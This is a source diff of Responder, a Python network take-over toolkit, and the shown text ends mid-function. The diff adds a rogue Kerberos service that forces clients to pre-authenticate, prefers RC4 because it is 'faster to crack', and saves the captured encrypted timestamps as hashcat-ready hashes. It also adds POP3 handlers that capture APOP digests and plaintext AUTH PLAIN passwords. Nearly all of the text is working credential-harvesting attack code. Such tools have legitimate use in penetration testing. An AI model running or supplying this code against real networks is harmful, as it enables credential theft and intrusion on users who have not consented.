DomainLen = struct.unpack('<b',Data[144+NameLen+3:144+NameLen+4])[0]
|
||||
Domain = Data[144+NameLen+4:144+NameLen+4+DomainLen].decode('latin-1')
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
|
||||
return BuildHash
|
||||
else:
|
||||
Hash = Data[49:101]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[149:150])[0]
|
||||
Name = Data[150:150+NameLen].decode('latin-1')
|
||||
DomainLen = struct.unpack('<b',Data[150+NameLen+3:150+NameLen+4])[0]
|
||||
Domain = Data[150+NameLen+4:150+NameLen+4+DomainLen].decode('latin-1')
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
|
||||
return BuildHash
|
||||
return False
|
||||
def find_msg_type(data):
|
||||
"""Find Kerberos message type by parsing ASN.1 structure"""
|
||||
try:
|
||||
offset = 0
|
||||
|
||||
# Check APPLICATION tag
|
||||
# [10] for AS-REQ (0x6a)
|
||||
# [12] for TGS-REQ (0x6c)
|
||||
if offset >= len(data):
|
||||
return None, False, None, None
|
||||
|
||||
app_tag = data[offset]
|
||||
if app_tag not in [0x6a, 0x6c]: # AS-REQ or TGS-REQ
|
||||
return None, False, None, None
|
||||
|
||||
offset += 1
|
||||
|
||||
# Parse outer length
|
||||
length, consumed = parse_asn1_length(data, offset)
|
||||
if consumed == 0:
|
||||
return None, False, None, None
|
||||
offset += consumed
|
||||
|
||||
# SEQUENCE tag
|
||||
if offset >= len(data) or data[offset] != 0x30:
|
||||
return None, False, None, None
|
||||
offset += 1
|
||||
|
||||
# Parse SEQUENCE length
|
||||
seq_length, consumed = parse_asn1_length(data, offset)
|
||||
if consumed == 0:
|
||||
return None, False, None, None
|
||||
offset += consumed
|
||||
|
||||
# [1] pvno
|
||||
if offset >= len(data) or data[offset] != 0xa1:
|
||||
return None, False, None, None
|
||||
offset += 1
|
||||
|
||||
pvno_len, consumed = parse_asn1_length(data, offset)
|
||||
offset += consumed + pvno_len
|
||||
|
||||
# [2] msg-type
|
||||
if offset >= len(data) or data[offset] != 0xa2:
|
||||
return None, False, None, None
|
||||
offset += 1
|
||||
|
||||
msgtype_len, consumed = parse_asn1_length(data, offset)
|
||||
offset += consumed
|
||||
|
||||
# INTEGER tag
|
||||
if offset >= len(data) or data[offset] != 0x02:
|
||||
return None, False, None, None
|
||||
offset += 1
|
||||
|
||||
int_len, consumed = parse_asn1_length(data, offset)
|
||||
offset += consumed
|
||||
|
||||
if offset >= len(data):
|
||||
return None, False, None, None
|
||||
|
||||
msg_type = data[offset]
|
||||
|
||||
# Extract client name and realm for KRB-ERROR response
|
||||
cname = extract_principal_name(data)
|
||||
realm = extract_realm(data)
|
||||
|
||||
return msg_type, True, cname, realm
|
||||
|
||||
except:
|
||||
return None, False, None, None
|
||||
|
||||
def extract_encrypted_timestamp(data):
|
||||
"""
|
||||
Extract encrypted timestamp from PA-ENC-TIMESTAMP in AS-REQ
|
||||
Returns: (etype, cipher_hex) or (None, None)
|
||||
"""
|
||||
try:
|
||||
# Look for PA-ENC-TIMESTAMP pattern: a1 03 02 01 02 (padata-type = 2)
|
||||
for i in range(len(data) - 60):
|
||||
# Look for the specific pattern that indicates PA-ENC-TIMESTAMP
|
||||
if (i + 5 < len(data) and
|
||||
data[i] == 0xa1 and data[i+1] == 0x03 and
|
||||
data[i+2] == 0x02 and data[i+3] == 0x01 and
|
||||
data[i+4] == 0x02): # padata-type = 2
|
||||
|
||||
# Now find [2] padata-value which should be right after
|
||||
j = i + 5
|
||||
if j < len(data) and data[j] == 0xa2: # [2] padata-value
|
||||
j += 1
|
||||
# Parse length of padata-value
|
||||
pv_len, consumed = parse_asn1_length(data, j)
|
||||
j += consumed
|
||||
|
||||
# Inside padata-value is OCTET STRING containing EncryptedData
|
||||
if j < len(data) and data[j] == 0x04: # OCTET STRING
|
||||
j += 1
|
||||
octet_len, consumed = parse_asn1_length(data, j)
|
||||
j += consumed
|
||||
|
||||
# Now we're inside EncryptedData SEQUENCE
|
||||
if j < len(data) and data[j] == 0x30: # SEQUENCE
|
||||
j += 1
|
||||
seq_len, consumed = parse_asn1_length(data, j)
|
||||
j += consumed
|
||||
|
||||
# Look for [0] etype
|
||||
if j < len(data) and data[j] == 0xa0: # [0] etype
|
||||
j += 1
|
||||
etype_len, consumed = parse_asn1_length(data, j)
|
||||
j += consumed
|
||||
|
||||
# INTEGER tag
|
||||
if j < len(data) and data[j] == 0x02:
|
||||
j += 1
|
||||
int_len, consumed = parse_asn1_length(data, j)
|
||||
j += consumed
|
||||
etype = data[j] if j < len(data) else None
|
||||
j += int_len
|
||||
|
||||
# Now look for [2] cipher (OCTET STRING)
|
||||
if j < len(data) and data[j] == 0xa2: # [2] cipher
|
||||
j += 1
|
||||
cipher_tag_len, consumed = parse_asn1_length(data, j)
|
||||
j += consumed
|
||||
|
||||
# OCTET STRING
|
||||
if j < len(data) and data[j] == 0x04:
|
||||
j += 1
|
||||
cipher_len, consumed = parse_asn1_length(data, j)
|
||||
j += consumed
|
||||
|
||||
if j + cipher_len <= len(data):
|
||||
cipher = data[j:j+cipher_len]
|
||||
cipher_hex = cipher.hex()
|
||||
return etype, cipher_hex
|
||||
|
||||
return None, None
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] Error extracting timestamp: %s' % str(e)))
|
||||
return None, None
|
||||
|
||||
def find_padata_and_etype(data):
|
||||
"""
|
||||
Search for PA-DATA and determine encryption type
|
||||
Returns: (has_padata, etype) where etype is the encryption type number or None
|
||||
"""
|
||||
try:
|
||||
# Look for [3] PA-DATA tag (0xa3)
|
||||
for i in range(len(data) - 60):
|
||||
if data[i:i+1] == b'\xa3':
|
||||
# Found PA-DATA, now we need to check if it contains PA-ENC-TIMESTAMP
|
||||
# Structure: [3] SEQUENCE OF { [1] padata-type, [2] padata-value }
|
||||
|
||||
# Look for [1] padata-type within next 30 bytes
|
||||
has_pa_enc_timestamp = False
|
||||
padata_value_offset = None
|
||||
|
||||
for j in range(i, min(i + 30, len(data) - 10)):
|
||||
if data[j:j+1] == b'\xa1': # [1] padata-type
|
||||
# Check if padata-type = 2 (PA-ENC-TIMESTAMP)
|
||||
# Pattern: a1 03 02 01 02
|
||||
if j + 4 < len(data) and data[j+1:j+5] == b'\x03\x02\x01\x02':
|
||||
has_pa_enc_timestamp = True
|
||||
# Next should be [2] padata-value
|
||||
break
|
||||
|
||||
if not has_pa_enc_timestamp:
|
||||
# PA-DATA exists but not PA-ENC-TIMESTAMP
|
||||
# This is normal for first AS-REQ
|
||||
return False, None
|
||||
|
||||
# Now look for [2] padata-value which contains EncryptedData
|
||||
for j in range(i, min(i + 50, len(data) - 10)):
|
||||
if data[j:j+1] == b'\xa2': # [2] padata-value
|
||||
# Inside padata-value is EncryptedData
|
||||
# Now look for [0] etype inside EncryptedData
|
||||
for k in range(j, min(j + 30, len(data) - 5)):
|
||||
if data[k:k+1] == b'\xa0': # [0] etype
|
||||
# Pattern: a0 03 02 01 <etype>
|
||||
if k + 4 < len(data) and data[k+1:k+3] == b'\x03\x02':
|
||||
etype = data[k+4]
|
||||
if settings.Config.Verbose:
|
||||
etype_name = ENCRYPTION_TYPES.get(bytes([etype]), 'unknown')
|
||||
print(text('[KERB] Found PA-ENC-TIMESTAMP with etype %d (%s)' % (etype, etype_name)))
|
||||
return True, etype
|
||||
|
||||
# Found PA-DATA but couldn't determine etype
|
||||
return True, None
|
||||
|
||||
return False, None
|
||||
|
||||
except:
|
||||
return False, None
|
||||
|
||||
def build_krb_error(realm, cname, sname=None):
|
||||
"""
|
||||
Build KRB-ERROR response with PA-DATA for pre-authentication
|
||||
|
||||
KRB-ERROR ::= [APPLICATION 30] SEQUENCE {
|
||||
pvno[0] INTEGER (5),
|
||||
msg-type[1] INTEGER (30),
|
||||
ctime[2] KerberosTime OPTIONAL,
|
||||
cusec[3] INTEGER OPTIONAL,
|
||||
stime[4] KerberosTime,
|
||||
susec[5] INTEGER,
|
||||
error-code[6] INTEGER,
|
||||
crealm[7] Realm OPTIONAL,
|
||||
cname[8] PrincipalName OPTIONAL,
|
||||
realm[9] Realm,
|
||||
sname[10] PrincipalName,
|
||||
e-text[11] GeneralString OPTIONAL,
|
||||
e-data[12] OCTET STRING OPTIONAL
|
||||
}
|
||||
"""
|
||||
|
||||
# Get current time
|
||||
current_time = time.time()
|
||||
time_str = time.strftime('%Y%m%d%H%M%SZ', time.gmtime(current_time))
|
||||
susec = int((current_time - int(current_time)) * 1000000)
|
||||
|
||||
# Build sname (server name) - krbtgt/REALM@REALM
|
||||
if sname is None:
|
||||
sname = 'krbtgt'
|
||||
|
||||
# Build the inner SEQUENCE
|
||||
inner = b''
|
||||
|
||||
# [0] pvno: 5
|
||||
inner += b'\xa0\x03\x02\x01\x05'
|
||||
|
||||
# [1] msg-type: 30 (KRB-ERROR)
|
||||
inner += b'\xa1\x03\x02\x01\x1e'
|
||||
|
||||
# [4] stime (server time)
|
||||
# KerberosTime is GeneralizedTime (tag 0x18)
|
||||
time_bytes = time_str.encode('ascii')
|
||||
inner += b'\xa4' + encode_asn1_length(len(time_bytes) + 2) + b'\x18' + encode_asn1_length(len(time_bytes)) + time_bytes
|
||||
|
||||
# [5] susec (microseconds)
|
||||
susec_bytes = struct.pack('>I', susec)
|
||||
# Remove leading zeros
|
||||
while len(susec_bytes) > 1 and susec_bytes[0] == 0:
|
||||
susec_bytes = susec_bytes[1:]
|
||||
inner += b'\xa5' + encode_asn1_length(len(susec_bytes) + 2) + b'\x02' + encode_asn1_length(len(susec_bytes)) + susec_bytes
|
||||
|
||||
# [6] error-code: 25 (KDC_ERR_PREAUTH_REQUIRED)
|
||||
inner += b'\xa6\x03\x02\x01\x19'
|
||||
|
||||
# [9] realm (server realm)
|
||||
realm_bytes = realm.encode('ascii')
|
||||
inner += b'\xa9' + encode_asn1_length(len(realm_bytes) + 2) + b'\x1b' + encode_asn1_length(len(realm_bytes)) + realm_bytes
|
||||
|
||||
# [10] sname (server principal name)
|
||||
# PrincipalName ::= SEQUENCE { name-type[0] Int32, name-string[1] SEQUENCE OF GeneralString }
|
||||
sname_str = sname.encode('ascii')
|
||||
realm_str = realm.encode('ascii')
|
||||
|
||||
# Build name-string SEQUENCE
|
||||
name_string_seq = b''
|
||||
# First component: service name (krbtgt)
|
||||
name_string_seq += b'\x1b' + encode_asn1_length(len(sname_str)) + sname_str
|
||||
# Second component: realm
|
||||
name_string_seq += b'\x1b' + encode_asn1_length(len(realm_str)) + realm_str
|
||||
|
||||
# Wrap in SEQUENCE
|
||||
name_string_wrapped = b'\x30' + encode_asn1_length(len(name_string_seq)) + name_string_seq
|
||||
|
||||
# Build name-string [1]
|
||||
name_string_tagged = b'\xa1' + encode_asn1_length(len(name_string_wrapped)) + name_string_wrapped
|
||||
|
||||
# Build name-type [0] - type 2 (KRB_NT_SRV_INST)
|
||||
name_type = b'\xa0\x03\x02\x01\x02'
|
||||
|
||||
# Build PrincipalName SEQUENCE
|
||||
principal_seq = name_type + name_string_tagged
|
||||
principal_wrapped = b'\x30' + encode_asn1_length(len(principal_seq)) + principal_seq
|
||||
|
||||
# Tag [10]
|
||||
inner += b'\xaa' + encode_asn1_length(len(principal_wrapped)) + principal_wrapped
|
||||
|
||||
# [12] e-data (PA-DATA)
|
||||
edata = build_pa_data(realm, cname)
|
||||
inner += b'\xac' + encode_asn1_length(len(edata) + 2) + b'\x04' + encode_asn1_length(len(edata)) + edata
|
||||
|
||||
# Wrap in SEQUENCE
|
||||
sequence = b'\x30' + encode_asn1_length(len(inner)) + inner
|
||||
|
||||
# Wrap in APPLICATION 30 tag
|
||||
krb_error = b'\x7e' + encode_asn1_length(len(sequence)) + sequence
|
||||
|
||||
return krb_error
|
||||
|
||||
def build_pa_data(realm, cname):
|
||||
"""
|
||||
Build PA-DATA sequence for pre-authentication
|
||||
|
||||
PA-DATA ::= SEQUENCE {
|
||||
padata-type[1] Int32,
|
||||
padata-value[2] OCTET STRING
|
||||
}
|
||||
|
||||
Returns SEQUENCE OF PA-DATA with:
|
||||
- PA-ETYPE-INFO2 (19) - with RC4 first, then AES256
|
||||
- PA-ENC-TIMESTAMP (2) - empty
|
||||
- PA-PK-AS-REQ (16) - empty
|
||||
- PA-PK-AS-REP-19 (15) - empty
|
||||
"""
|
||||
|
||||
pa_data_list = b''
|
||||
|
||||
# 1. PA-ETYPE-INFO2 (type 19)
|
||||
pa_etype_info2 = build_pa_etype_info2(realm, cname)
|
||||
pa_data_list += build_single_pa_data(19, pa_etype_info2)
|
||||
|
||||
# 2. PA-ENC-TIMESTAMP (type 2) - empty padata-value
|
||||
pa_data_list += build_single_pa_data(2, b'')
|
||||
|
||||
# 3. PA-PK-AS-REQ (type 16) - empty padata-value
|
||||
pa_data_list += build_single_pa_data(16, b'')
|
||||
|
||||
# 4. PA-PK-AS-REP-19 (type 15) - empty padata-value
|
||||
pa_data_list += build_single_pa_data(15, b'')
|
||||
|
||||
# Wrap in SEQUENCE
|
||||
return b'\x30' + encode_asn1_length(len(pa_data_list)) + pa_data_list
|
||||
|
||||
def build_single_pa_data(padata_type, padata_value):
|
||||
"""Build a single PA-DATA entry"""
|
||||
inner = b''
|
||||
|
||||
# [1] padata-type
|
||||
type_bytes = struct.pack('>I', padata_type)
|
||||
# Remove leading zeros
|
||||
while len(type_bytes) > 1 and type_bytes[0] == 0:
|
||||
type_bytes = type_bytes[1:]
|
||||
inner += b'\xa1\x03\x02\x01' + bytes([padata_type])
|
||||
|
||||
# [2] padata-value (OCTET STRING)
|
||||
if len(padata_value) > 0:
|
||||
inner += b'\xa2' + encode_asn1_length(len(padata_value) + 2) + b'\x04' + encode_asn1_length(len(padata_value)) + padata_value
|
||||
else:
|
||||
# Empty OCTET STRING
|
||||
inner += b'\xa2\x02\x04\x00'
|
||||
|
||||
# Wrap in SEQUENCE
|
||||
return b'\x30' + encode_asn1_length(len(inner)) + inner
|
||||
|
||||
def build_pa_etype_info2(realm, cname):
|
||||
"""
|
||||
Build PA-ETYPE-INFO2 structure
|
||||
|
||||
ETYPE-INFO2 ::= SEQUENCE OF ETYPE-INFO2-ENTRY
|
||||
ETYPE-INFO2-ENTRY ::= SEQUENCE {
|
||||
etype[0] Int32,
|
||||
salt[1] GeneralString OPTIONAL,
|
||||
s2kparams[2] OCTET STRING OPTIONAL
|
||||
}
|
||||
|
||||
Returns entries for RC4 (etype 23) first, then AES256 (etype 18)
|
||||
RC4 is preferred as it's much faster to crack
|
||||
"""
|
||||
|
||||
# Build salt for AES: REALM + username (e.g., "SMB3.LOCALlgandx")
|
||||
hostname = settings.Config.MachineName.lower()
|
||||
salt_aes = realm + cname.lower()
|
||||
salt_aes_bytes = salt_aes.encode('ascii')
|
||||
|
||||
entries = b''
|
||||
|
||||
# Entry 1: RC4-HMAC (etype 23 = 0x17)
|
||||
# RC4 doesn't use salt in ETYPE-INFO2, only etype
|
||||
inner_rc4 = b''
|
||||
inner_rc4 += b'\xa0\x03\x02\x01\x17' # [0] etype: 23
|
||||
# No salt field for RC4
|
||||
entry_rc4 = b'\x30' + encode_asn1_length(len(inner_rc4)) + inner_rc4
|
||||
entries += entry_rc4
|
||||
|
||||
# Entry 2: AES256 (etype 18 = 0x12)
|
||||
inner_aes = b''
|
||||
inner_aes += b'\xa0\x03\x02\x01\x12' # [0] etype: 18
|
||||
inner_aes += b'\xa1' + encode_asn1_length(len(salt_aes_bytes) + 2) + b'\x1b' + encode_asn1_length(len(salt_aes_bytes)) + salt_aes_bytes
|
||||
entry_aes = b'\x30' + encode_asn1_length(len(inner_aes)) + inner_aes
|
||||
entries += entry_aes
|
||||
|
||||
# Wrap in SEQUENCE (ETYPE-INFO2 - SEQUENCE OF entries)
|
||||
etype_info2 = b'\x30' + encode_asn1_length(len(entries)) + entries
|
||||
|
||||
return etype_info2
|
||||
|
||||
class KerbTCP(BaseRequestHandler):
|
||||
"""Kerberos TCP handler (port 88)"""
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
data = self.request.recv(1024)
|
||||
KerbHash = ParseMSKerbv5TCP(data)
|
||||
|
||||
if KerbHash:
|
||||
n, krb, v, name, domain, d, h = KerbHash.split('$')
|
||||
|
||||
SaveToDb({
|
||||
'module': 'KERB',
|
||||
'type': 'MSKerbv5',
|
||||
'client': self.client_address[0],
|
||||
'user': domain+'\\'+name,
|
||||
'hash': h,
|
||||
'fullhash': KerbHash,
|
||||
})
|
||||
except:
|
||||
pass
|
||||
# TCP Kerberos uses 4-byte length prefix (Record Mark)
|
||||
length_data = self.request.recv(4)
|
||||
if len(length_data) < 4:
|
||||
return
|
||||
|
||||
# Parse Record Mark (big-endian, high bit reserved)
|
||||
msg_length = struct.unpack('>I', length_data)[0] & 0x7FFFFFFF
|
||||
|
||||
# Receive the Kerberos message
|
||||
data = b''
|
||||
while len(data) < msg_length:
|
||||
chunk = self.request.recv(msg_length - len(data))
|
||||
if not chunk:
|
||||
return
|
||||
data += chunk
|
||||
|
||||
# Parse Kerberos message
|
||||
msg_type, valid, cname, realm = find_msg_type(data)
|
||||
|
||||
if not valid:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] Invalid Kerberos message'))
|
||||
return
|
||||
|
||||
if msg_type == 10: # AS-REQ
|
||||
# Check if client sent PA-DATA
|
||||
has_padata, etype = find_padata_and_etype(data)
|
||||
|
||||
if has_padata and etype:
|
||||
# Client sent pre-auth data - extract the encrypted timestamp
|
||||
etype_num, cipher_hex = extract_encrypted_timestamp(data)
|
||||
|
||||
if etype_num and cipher_hex:
|
||||
etype_name = ENCRYPTION_TYPES.get(bytes([etype_num]), 'unknown')
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] AS-REQ with PA-ENC-TIMESTAMP from %s@%s (etype: %s)' % (cname, realm, etype_name)))
|
||||
|
||||
# Build the hash in hashcat format
|
||||
if etype_num == 0x17 or etype_num == 0x18: # RC4 (23 = 0x17, 24 = 0x18)
|
||||
# RC4 format: $krb5pa$23$user$realm$dummy$hash
|
||||
# Flip: last 36 bytes + first 16 bytes (per Responder's ParseMSKerbv5TCP)
|
||||
|
||||
if len(cipher_hex) >= 32:
|
||||
first_16_bytes = cipher_hex[0:32] # First 16 bytes
|
||||
rest = cipher_hex[32:] # Rest (36 bytes)
|
||||
flipped_hash = rest + first_16_bytes
|
||||
hash_value = '$krb5pa$23$%s$%s$dummy$%s' % (cname, realm, flipped_hash)
|
||||
else:
|
||||
hash_value = '$krb5pa$23$%s$%s$dummy$%s' % (cname, realm, cipher_hex)
|
||||
|
||||
elif etype_num == 0x12: # AES256 (18)
|
||||
checksum = cipher_hex[-24:]
|
||||
salt = realm + cname
|
||||
hash_value = '$krb5pa$18$%s$%s$%s$%s$%s' % (cname, realm, salt, cipher_hex, checksum)
|
||||
elif etype_num == 0x11: # AES128 (17)
|
||||
checksum = cipher_hex[-24:]
|
||||
salt = realm + cname
|
||||
hash_value = '$krb5pa$17$%s$%s$%s$%s$%s' % (cname, realm, salt, cipher_hex, checksum)
|
||||
else:
|
||||
hash_value = '$krb5pa$%d$%s$%s$%s' % (etype_num, cname, realm, cipher_hex)
|
||||
|
||||
# Log to database
|
||||
SaveToDb({
|
||||
'module': 'Kerberos',
|
||||
'type': 'AS-REQ',
|
||||
'client': self.client_address[0],
|
||||
'user': cname,
|
||||
'domain': realm,
|
||||
'hash': hash_value,
|
||||
'fullhash': hash_value
|
||||
})
|
||||
|
||||
# Print the hash
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] Use hashcat -m 7500 (etype %d): %s' % (etype_num, hash_value)))
|
||||
else:
|
||||
if settings.Config.Verbose:
|
||||
print(color('[KERB] AS-REQ with PA-DATA but could not extract hash from %s@%s' % (cname, realm), 1, 1))
|
||||
else:
|
||||
# First AS-REQ without pre-auth - send KRB-ERROR requiring pre-auth
|
||||
if settings.Config.Verbose:
|
||||
print(color('[KERB] AS-REQ from %s@%s - sending PREAUTH_REQUIRED' % (cname, realm), 2, 1))
|
||||
|
||||
# Build KRB-ERROR response
|
||||
krb_error = build_krb_error(realm, cname)
|
||||
|
||||
# Send with Record Mark
|
||||
response = struct.pack('>I', len(krb_error)) + krb_error
|
||||
self.request.sendall(response)
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color('[KERB] Sent KRB-ERROR (PREAUTH_REQUIRED) to %s' % self.client_address[0], 2, 1))
|
||||
|
||||
elif msg_type == 12: # TGS-REQ
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] TGS-REQ from %s@%s (ignoring)' % (cname, realm)))
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] Error: %s' % str(e)))
|
||||
|
||||
class KerbUDP(BaseRequestHandler):
|
||||
"""Kerberos UDP handler (port 88)"""
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
data, soc = self.request
|
||||
KerbHash = ParseMSKerbv5UDP(data)
|
||||
|
||||
if KerbHash:
|
||||
(n, krb, v, name, domain, d, h) = KerbHash.split('$')
|
||||
|
||||
SaveToDb({
|
||||
'module': 'KERB',
|
||||
'type': 'MSKerbv5',
|
||||
'client': self.client_address[0],
|
||||
'user': domain+'\\'+name,
|
||||
'hash': h,
|
||||
'fullhash': KerbHash,
|
||||
})
|
||||
except:
|
||||
pass
|
||||
data, socket_obj = self.request
|
||||
|
||||
# Parse Kerberos message
|
||||
msg_type, valid, cname, realm = find_msg_type(data)
|
||||
|
||||
if not valid:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] Invalid Kerberos message'))
|
||||
return
|
||||
|
||||
if msg_type == 10: # AS-REQ
|
||||
# Check if client sent PA-DATA
|
||||
has_padata, etype = find_padata_and_etype(data)
|
||||
|
||||
if has_padata and etype:
|
||||
# Client sent pre-auth data - extract the encrypted timestamp
|
||||
etype_num, cipher_hex = extract_encrypted_timestamp(data)
|
||||
|
||||
if etype_num and cipher_hex:
|
||||
etype_name = ENCRYPTION_TYPES.get(bytes([etype_num]), 'unknown')
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] AS-REQ with PA-ENC-TIMESTAMP from %s@%s (etype: %s)' % (cname, realm, etype_name)))
|
||||
|
||||
# Build the hash in hashcat format
|
||||
if etype_num == 0x17 or etype_num == 0x18: # RC4 (23 = 0x17, 24 = 0x18)
|
||||
if len(cipher_hex) >= 32:
|
||||
first_16_bytes = cipher_hex[0:32]
|
||||
rest = cipher_hex[32:]
|
||||
flipped_hash = rest + first_16_bytes
|
||||
hash_value = '$krb5pa$23$%s$%s$dummy$%s' % (cname, realm, flipped_hash)
|
||||
else:
|
||||
hash_value = '$krb5pa$23$%s$%s$dummy$%s' % (cname, realm, cipher_hex)
|
||||
|
||||
elif etype_num == 0x12: # AES256 (18)
|
||||
checksum = cipher_hex[-24:]
|
||||
salt = realm + cname
|
||||
hash_value = '$krb5pa$18$%s$%s$%s$%s$%s' % (cname, realm, salt, cipher_hex, checksum)
|
||||
elif etype_num == 0x11: # AES128 (17)
|
||||
checksum = cipher_hex[-24:]
|
||||
salt = realm + cname
|
||||
hash_value = '$krb5pa$17$%s$%s$%s$%s$%s' % (cname, realm, salt, cipher_hex, checksum)
|
||||
else:
|
||||
hash_value = '$krb5pa$%d$%s$%s$%s' % (etype_num, cname, realm, cipher_hex)
|
||||
|
||||
# Log to database
|
||||
SaveToDb({
|
||||
'module': 'Kerberos',
|
||||
'type': 'AS-REQ',
|
||||
'client': self.client_address[0],
|
||||
'user': cname,
|
||||
'domain': realm,
|
||||
'hash': hash_value,
|
||||
'fullhash': hash_value
|
||||
})
|
||||
|
||||
# Print the hash
|
||||
print(color('[KERB] Kerberos 5 AS-REQ (etype %d): %s' % (etype_num, hash_value), 3, 1))
|
||||
else:
|
||||
if settings.Config.Verbose:
|
||||
print(color('[KERB] AS-REQ with PA-DATA but could not extract hash from %s@%s' % (cname, realm), 1, 1))
|
||||
else:
|
||||
# First AS-REQ without pre-auth - send KRB-ERROR requiring pre-auth
|
||||
if settings.Config.Verbose:
|
||||
print(color('[KERB] AS-REQ from %s@%s - sending PREAUTH_REQUIRED' % (cname, realm), 2, 1))
|
||||
|
||||
# Build KRB-ERROR response
|
||||
krb_error = build_krb_error(realm, cname)
|
||||
|
||||
# Send directly (no Record Mark for UDP)
|
||||
socket_obj.sendto(krb_error, self.client_address)
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color('[KERB] Sent KRB-ERROR (PREAUTH_REQUIRED) to %s' % self.client_address[0], 2, 1))
|
||||
|
||||
elif msg_type == 12: # TGS-REQ
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] TGS-REQ from %s@%s (ignoring)' % (cname, realm)))
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] Error: %s' % str(e)))
|
||||
|
||||
1014
servers/LDAP.py
1014
servers/LDAP.py
File diff suppressed because it is too large
Load Diff
448
servers/POP3.py
448
servers/POP3.py
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# email: lgaffie@secorizon.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
@@ -15,42 +15,440 @@
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
from utils import *
|
||||
import base64
|
||||
import hashlib
|
||||
import codecs
|
||||
import struct
|
||||
|
||||
if settings.Config.PY2OR3 == "PY3":
|
||||
from socketserver import BaseRequestHandler
|
||||
else:
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import POPOKPacket,POPNotOKPacket
|
||||
from packets import POPOKPacket, POPNotOKPacket
|
||||
|
||||
# POP3 Server class
|
||||
class POP3(BaseRequestHandler):
|
||||
"""POP3 server with multiple authentication methods"""
|
||||
|
||||
def __init__(self, *args, **kwargs):
|
||||
self.challenge = None
|
||||
self.username = None
|
||||
BaseRequestHandler.__init__(self, *args, **kwargs)
|
||||
|
||||
def generate_challenge(self):
|
||||
"""Generate challenge for APOP and CRAM-MD5"""
|
||||
import time
|
||||
import random
|
||||
timestamp = int(time.time())
|
||||
random_data = random.randint(1000, 9999)
|
||||
# APOP format: <process-id.clock@hostname>
|
||||
self.challenge = "<%d.%d@%s>" % (random_data, timestamp, settings.Config.MachineName)
|
||||
return self.challenge
|
||||
|
||||
def send_packet(self, packet):
|
||||
"""Send a packet to client"""
|
||||
self.request.send(NetworkSendBufferPython2or3(packet))
|
||||
|
||||
def send_ok(self, message=""):
|
||||
"""Send +OK response"""
|
||||
if message:
|
||||
response = "+OK %s\r\n" % message
|
||||
else:
|
||||
response = "+OK\r\n"
|
||||
self.request.send(response.encode('latin-1'))
|
||||
|
||||
def send_err(self, message=""):
|
||||
"""Send -ERR response"""
|
||||
if message:
|
||||
response = "-ERR %s\r\n" % message
|
||||
else:
|
||||
response = "-ERR\r\n"
|
||||
self.request.send(response.encode('latin-1'))
|
||||
|
||||
def send_continue(self, data=""):
|
||||
"""Send continuation (+) response for multi-line auth"""
|
||||
if data:
|
||||
response = "+ %s\r\n" % data
|
||||
else:
|
||||
response = "+\r\n"
|
||||
self.request.send(response.encode('latin-1'))
|
||||
|
||||
def handle_apop(self, data):
|
||||
"""Handle APOP authentication (MD5 challenge-response)"""
|
||||
# APOP username digest
|
||||
# digest is MD5(challenge + password)
|
||||
try:
|
||||
parts = data.strip().split(b' ', 2)
|
||||
if len(parts) < 3:
|
||||
return False
|
||||
|
||||
username = parts[1].decode('latin-1')
|
||||
digest = parts[2].decode('latin-1').lower()
|
||||
|
||||
# Format for hashcat/john: username:$apop$challenge$digest
|
||||
hash_string = "%s:$apop$%s$%s" % (username, self.challenge, digest)
|
||||
|
||||
SaveToDb({
|
||||
'module': 'POP3',
|
||||
'type': 'APOP',
|
||||
'client': self.client_address[0],
|
||||
'user': username,
|
||||
'hash': digest,
|
||||
'fullhash': hash_string,
|
||||
})
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color("[*] [POP3] Captured APOP digest from %s for user %s" % (
|
||||
self.client_address[0].replace("::ffff:", ""), username), 3, 1))
|
||||
|
||||
return True
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[POP3] Error parsing APOP: %s' % str(e)))
|
||||
return False
|
||||
|
||||
def handle_auth_plain(self, data):
|
||||
"""Handle AUTH PLAIN (base64 encoded username/password)"""
|
||||
try:
|
||||
# AUTH PLAIN can be sent as:
|
||||
# AUTH PLAIN <base64>
|
||||
# or
|
||||
# AUTH PLAIN
|
||||
# <base64>
|
||||
|
||||
if len(data.strip().split(b' ')) > 2:
|
||||
# Inline format
|
||||
auth_data = data.strip().split(b' ', 2)[2]
|
||||
else:
|
||||
# Need to read next line
|
||||
self.send_continue()
|
||||
auth_data = self.request.recv(1024).strip()
|
||||
|
||||
# Decode base64
|
||||
decoded = base64.b64decode(auth_data)
|
||||
# Format: [authzid]\x00username\x00password
|
||||
parts = decoded.split(b'\x00')
|
||||
|
||||
if len(parts) >= 3:
|
||||
username = parts[1].decode('latin-1', errors='ignore')
|
||||
password = parts[2].decode('latin-1', errors='ignore')
|
||||
elif len(parts) == 2:
|
||||
username = parts[0].decode('latin-1', errors='ignore')
|
||||
password = parts[1].decode('latin-1', errors='ignore')
|
||||
else:
